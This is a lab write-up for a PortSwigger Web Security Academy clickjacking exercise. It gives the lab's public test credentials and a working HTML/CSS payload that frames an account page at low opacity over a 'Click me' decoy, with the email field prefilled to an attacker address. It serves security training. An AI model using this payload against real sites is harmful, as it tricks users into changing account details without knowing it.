**Lab: Clickjacking with form input data prefilled from a URL parameter**

This lab extends the basic [clickjacking example](https://portswigger.net/web-security/clickjacking) in [Lab: Basic clickjacking with CSRF token protection](https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected). The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button.

To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed.

You can log in to your own account using the following credentials: wiener:peter

<style>

iframe {

position:relative;

width:500px;

height:700px;

opacity:0.2;

z-index:2;

}

#decoy {

position:absolute;

top:440px;

left:80px;

z-index:1;

background-color: #f0c040;

padding: 10px 20px;

font-size: 20px;

color: white;

border: none;

cursor: pointer;

}

</style>

<button id="decoy">Click me</button>

<iframe src="https://0a980065042ca1e7811bc16f007d0036.web-security-academy.net/my-account?email=hacker3@attacker-website.com"></iframe>

